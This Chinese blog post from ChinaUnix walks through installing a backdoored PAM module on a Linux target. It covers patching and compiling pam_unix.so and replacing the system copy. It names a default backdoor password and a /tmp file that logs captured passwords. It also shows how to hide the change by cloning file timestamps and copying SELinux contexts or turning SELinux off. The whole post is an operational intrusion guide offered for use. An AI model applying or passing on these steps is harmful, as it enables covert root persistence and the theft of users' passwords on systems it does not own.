Chinaunix首页 | 论坛 | 博客
  • 博客访问: 56757
  • 博文数量: 20
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 96
  • 用 户 组: 普通用户
  • 注册时间: 2015-07-18 17:00
文章分类

全部博文(20)

文章存档

2017年(6)

2016年(14)

我的朋友

分类: LINUX

2016-05-27 11:25:00

PAM有许多版本,我们首先要从官方下载目标所使用的PAM源码包,并在本地修改后编译生成出pam_unix.so文件进行替换

 

获取目标系统所使用的PAM版本:

rpm -qa|grep pam

下载后,在对应的系统环境下(32或x86_64位系统下)编译生成后门,patch目录下的“pam_unix_auth.c.patch”文件就是
补丁文件,pam_unix_auth.c 是PAM
1.1.1版本pam_unix.so的源文件,仅作参考。我们将补丁文件移动到源码目录,并使用patch命令对PAM源代码打补丁,然后编译生成即可。

mv pam_unix_auth.c.patch Linux-PAM-1.1.1/modules/pam_unix/
cd Linux-PAM-1.1.1/modules/pam_unix
patch < pam_unix_auth.c.patch
cd ../../
./configure & make

编译完后的文件在:modules/pam_unix/.libs/pam_unix.so

后门的默认密码:root123

记录密码的文件:/tmp/pslog

将生成的pam_uninx.so文件覆盖/lib/secruity/pam_unix.so或/lib64/security/pam_unix.so(记得备份原始文件),修改文件属性,手动建立密码保存文件,并使用touch命令克隆文件时间,如果selinux是开启的环境,一定要关掉或者设置好上下文pam_unix.so才能正常工作,搞定ok。

手动创建密码文件:

touch /tmp/pslog;chmod a+w /tmp/pslog

克隆原始文件时间:

touch pam_unix.so -r pam_unix.so.src

查看Selinux上下文:

ls -Z pam_unix.so.src (备份的原始文件)

设置Selinux上下文:

chcon –reference=pam_unix.so.src pam_unix.so

编译报错问题:

64位系统编译可能会遇到yywrap()函数未定义错误,只需安装flex软件包就可以正常编译了

示例:

yum install flex
阅读(2975) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~